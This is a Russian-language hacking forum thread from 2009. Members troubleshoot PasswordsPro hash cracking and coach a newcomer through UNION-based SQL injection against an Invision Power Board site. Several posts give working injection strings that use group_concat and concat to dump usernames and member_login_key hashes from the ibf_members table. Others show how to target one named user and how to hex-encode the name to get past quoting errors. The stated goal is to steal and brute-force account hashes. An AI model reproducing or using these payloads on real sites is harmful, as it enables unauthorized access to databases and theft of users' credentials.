HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6481  
Старый 07.04.2009, 12:37
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638

Репутация: 256
Отправить сообщение для DrAssault с помощью ICQ
По умолчанию

Цитата:
Сообщение от FarIZ  
с чем связано то что
passwordsPro не находит пароль который должен был бы бесспорно найти ?

даю ему хеш пароля от mysql версии 5 стоящей у меня на комп.е , выбираю тип хеша mysql5 , и ничего . не находит . даже маску легкую задаю , и все равно не находит
Вероятно ты что то неправильно делаешь, во первых скажи как брутишь, т.е. каким способом???( словарь, полный перебор, атака по маске, атака по райнбоу-таблицам и т.п.) отсюда и будем отталкиваться...
 
Ответить с цитированием

  #6482  
Старый 07.04.2009, 12:44
FarIZ
Новичок
Регистрация: 16.03.2009
Сообщений: 24
Провел на форуме:
62919

Репутация: 2
По умолчанию

Цитата:
Сообщение от DrAssault  
Вероятно ты что то неправильно делаешь, во первых скажи как брутишь, т.е. каким способом???( словарь, полный перебор, атака по маске, атака по райнбоу-таблицам и т.п.) отсюда и будем отталкиваться...
и по полному перебору пробовал,
и по маске
 
Ответить с цитированием

  #6483  
Старый 07.04.2009, 12:51
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от massovka  
Может я наглый очень! А как можно сделать так чтоб таблице вывелось а не одним рядком!?
1,group_concat(concat_ws(0x3a,name,member_login_ke y)+separator+0x0a),3,4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19,20,21,22,23,24,25,26,27,28+from+ibf_m embers--+

Далее, я тебе просто показал таблицу, не факт , что там не солёные хеши, просмотри ВСЕ столбцы, возможно в базе есть соль, возможно там двойной MD5, или просто генерённые пароли, тогда вероятность брута приближается к нулю.(это по поводу перебора)

И ещё раз настоятельно рекоммендую почитать статьи по скулям, все станет гораздо прощё.


PS

Цитата:
Сообщение от DrAssault  
Никак нах...
Я же вроде просил, если не уверен не отвечать.
Да ещё так категорично.
 
Ответить с цитированием

  #6484  
Старый 07.04.2009, 13:13
DrAssault
Участник форума
Регистрация: 14.11.2008
Сообщений: 149
Провел на форуме:
950638

Репутация: 256
Отправить сообщение для DrAssault с помощью ICQ
По умолчанию

Цитата:
Сообщение от jokester  
Я же вроде просил, если не уверен не отвечать.
Да ещё так категорично.
jokester group_concat это само собой, причем тут вся таблица? Он просил вывести именно таблицу (насколько я понял, претензии по этому поводу не ко мне, попроси лучьше новичков вопросы поясней как то задавать что ли, почему то я более чем уверен, что он имелл ввиду именно, чтобы вывод был всей таблицы, гг так ещё и с рамками ёпт)!!!

Последний раз редактировалось DrAssault; 07.04.2009 в 13:16..
 
Ответить с цитированием

  #6485  
Старый 07.04.2009, 14:02
FarIZ
Новичок
Регистрация: 16.03.2009
Сообщений: 24
Провел на форуме:
62919

Репутация: 2
По умолчанию

насчет моей проблемы
...дайте на худой конец хоть линки к соотв. темам форума
 
Ответить с цитированием

  #6486  
Старый 07.04.2009, 14:10
Shaitan-Devil
Участник форума
Регистрация: 15.08.2008
Сообщений: 167
Провел на форуме:
3009843

Репутация: 204
По умолчанию

Цитата:
Сообщение от DrAssault  
jokester group_concat это само собой, причем тут вся таблица? Он просил вывести именно таблицу (насколько я понял, претензии по этому поводу не ко мне, попроси лучьше новичков вопросы поясней как то задавать что ли, почему то я более чем уверен, что он имелл ввиду именно, чтобы вывод был всей таблицы, гг так ещё и с рамками ёпт)!!!
Как раз вопрос был ясен=\. Имхо jokester прав Только у group_concat() есть минус в том, что выводить можно не больше 1024 знаков.
П.С. Сорри за оффтоп.
 
Ответить с цитированием

  #6487  
Старый 07.04.2009, 14:12
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от FarIZ  
насчет моей проблемы
...дайте на худой конец хоть линки к соотв. темам форума
Ты просто не в тот раздел обратился. Попробуй сюда:
https://forum.antichat.ru/forum76.html
карта раздела
https://forum.antichat.ru/thread76958.html
форум самой программы
http://forum.insidepro.com/viewforum.php?f=8

У меня лично отлично всё находит и перебирает, если всё делать правильно
 
Ответить с цитированием

Вопрос
  #6488  
Старый 07.04.2009, 20:09
massovka
Познающий
Регистрация: 05.04.2009
Сообщений: 71
Провел на форуме:
299541

Репутация: 5
По умолчанию Вопрос

Цитата:
Сообщение от massovka  
Может я наглый очень! А как можно сделать так чтоб таблице вывелось а не одним рядком!?

А кто знает как можно вывести хэш одного usera и базы очень нужно! Ник юзера знаю

concat(name,0x3a3a,member_login_key),3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28+from+ibf_members+limit+0, 2/*
 
Ответить с цитированием

  #6489  
Старый 07.04.2009, 20:45
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
Провел на форуме:
1351948

Репутация: 325
По умолчанию

massovka
Код:
concat(name,0x3a3a,member_login_key),3,4,5,6,7,8,9 ,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28+from+ibf_members+where+name=NICK/*
Где NICK - это ник того кого ты хочешь вывести... вроде так если не ошибаюсь!
p.s. пробелов там нет =)

Последний раз редактировалось Kraneg; 07.04.2009 в 20:49..
 
Ответить с цитированием

  #6490  
Старый 07.04.2009, 20:53
ph1l1ster
Постоянный
Регистрация: 11.03.2008
Сообщений: 347
Провел на форуме:
2075230

Репутация: 462
Отправить сообщение для ph1l1ster с помощью ICQ
По умолчанию

Код:
where+name='NICK'
так лучше. если с ошибкой то NICK в хексе и без кавычек.
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ